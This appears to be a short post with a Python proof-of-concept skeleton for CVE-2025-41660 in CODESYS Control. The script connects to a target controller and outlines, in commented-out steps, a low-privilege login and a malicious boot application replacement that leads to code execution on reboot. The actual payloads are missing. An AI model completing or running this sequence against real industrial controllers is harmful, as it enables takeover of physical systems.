CVE-2025-41660 CODESYS Control远程代码执行漏洞

#!/usr/bin/env python3 """ CVE-2025-41660 PoC Concept - CODESYS Control Boot Application Replacement This is a conceptual demonstration. Actual exploitation requires specific protocol handling. """ import socket TARGET_IP = "192.168.1.10" TARGET_PORT = 1212 # Default CODESYS port MALICIOUS_FILE_PATH = "malicious_boot_app.bin" def send_exploit(): print(f"[*] Attempting to connect to {TARGET_IP}:{TARGET_PORT}...") try: # 1. Establish TCP connection to CODESYS Control sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((TARGET_IP, TARGET_PORT)) print("[+] Connection established.") # 2. Authenticate with low-privilege credentials (Required per PR:L) # auth_payload = build_login_packet("low_priv_user", "password") # sock.send(auth_payload) print("[*] Authenticating with low-privilege user...") # 3. Send request to replace boot application # Vulnerability lies in the lack of checks here # exploit_payload = build_file_replace_packet("boot_app", MALICIOUS_FILE_PATH) # sock.send(exploit_payload) print("[+] Sending malicious boot application replacement request...") # 4. Trigger execution (usually requires reboot or service restart) print("[*] Exploit sent. Wait for device reboot to trigger RCE.") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()